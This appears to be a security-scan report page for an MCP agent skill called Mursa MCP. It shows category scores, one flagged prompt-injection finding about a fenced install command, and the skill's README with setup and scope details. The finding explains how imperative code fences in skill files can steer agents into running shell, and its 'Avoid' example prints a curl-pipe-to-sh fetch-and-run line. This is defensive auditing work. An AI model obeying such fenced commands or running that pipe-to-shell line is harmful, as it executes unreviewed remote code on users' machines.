CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

26.3 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 1 flagged

Securityscore 75 · 1 finding

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · INTEGRATION.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptINTEGRATION.md· markdown

29```bash

30npx -y mursa-mcp setup --key=mursa_mcp_PASTE_HERE

31```

33Detects which clients you have installed, asks before touching anything, and verifies the ke

… (8 chars elided on L33)

35---

37### Option B: manual config

Occurrences

1 occurrence · at L29

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha256f5ef77ef7f3e7709…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

README.md · 1 file

README.md3.6 KB · Markdown

Mursa MCP

Connect Claude Code, Claude Desktop, Cursor, or any MCP-compatible client to your Mursa tasks, calendar, goals, notes, habits, projects, and Gmail.

📖 Full guide with screenshots: https://mursa.me/mcp

60-second install

1. Get an API key

Open dashboard.mursa.me and sign in.
Go to Settings → API keys.
Click New key → pick a label, expiry, and scopes → Create.
Copy the key (starts with mursa_mcp_…). You'll only see it once.

2. Add to your client

#### Claude Code (~/.claude.json)

{
  "mcpServers": {
    "mursa": {
      "command": "npx",
      "args": ["-y", "mursa-mcp"],
      "env": { "MURSA_API_KEY": "mursa_mcp_…" }
    }
  }
}

Restart Claude Code, run /mcp to confirm, call whoami to verify.

#### Claude Desktop

Edit ~/Library/Application Support/Claude/claude_desktop_config.json (macOS) or %APPDATA%/Claude/claude_desktop_config.json (Windows) with the same block, then restart the app.

#### Cursor

Settings → MCP → Add new MCP server, same JSON block.

3. That's it

Your agent now has access to whatever scopes your key has.

Tools (28)

Group	Tools	Scope
Meta	`whoami`	(any)
Tasks (read)	`list_inbox`, `list_myday`, `list_schedule`, `search_tasks`	`tasks:read`
Tasks (write)	`create_task`, `update_task`, `complete_task`, `defer_task`, `schedule_task`	`tasks:write`
Calendar	`list_calendar`, `create_calendar_event`	`calendar:*`
Goals	`list_goals`, `create_goal`, `update_goal`, `delete_goal`	`goals:*`
Notes	`list_notes`, `search_notes`, `create_note`, `update_note`	`notes:*`
Habits	`list_habits`	`habits:read`
Projects	`list_projects`	`projects:read`
Email	`list_emails`, `get_email`, `get_attachment`, `search_emails`	`email:read`
Email	`send_email`, `reply_email`	`email:send`

* as a scope grants everything.

Security

API keys are sha256-hashed at rest — the raw value is never stored.
Per-key scopes + expiry. Revoke any key instantly from the dashboard.
Per-action rate limits (60/min reads, 30/min writes, 5/min email send).
Every call audit-logged for 90 days (action, status, latency, IP — no payload).
Email attachments capped at 3 MB each / 10 MB total per email.
All traffic goes through mursa.me/api/mcp; the Supabase function is gated

by a shared proxy secret so direct hits return 403.

Run from source (advanced)

git clone https://github.com/Murali1889/Prod-Mursa.git
cd Prod-Mursa/mcp-servers/mursa
npm install
echo 'MURSA_API_KEY=mursa_mcp_…' > .env

Then point your client at the absolute path:

{
  "mcpServers": {
    "mursa": {
      "command": "node",
      "args": ["/absolute/path/to/mcp-servers/mursa/server.js"]
    }
  }
}

Override the endpoint for preview deployments or local dev:

MURSA_API_URL=https://mursa-preview.vercel.app/api/mcp

(Default is https://mursa.me/api/mcp.)

Troubleshooting

Symptom	Fix
`Invalid, expired, or revoked API key`	Mint a fresh key in the dashboard, swap `MURSA_API_KEY`, restart your client.
`This API key is missing the required scope: …`	Your key wasn't granted that scope at mint time. Revoke and mint a new one with the scope checked.
`Gmail is not connected. Connect Gmail in Mursa Settings first.`	Connect Gmail from the Mursa app first.
`Rate limit exceeded (5/min for send_email)`	Slow down — strict throttle on outbound mail.

For server-side deployment (running your own Mursa instance), see DEPLOY.md.

Mcp Mursa— agent skill

Is Mcp Mursa safe to install?

Mursa MCP

60-second install

1. Get an API key

2. Add to your client

3. That's it

Tools (28)

Security

Run from source (advanced)

Troubleshooting

Audit the pieces. Scan the whole. Decide.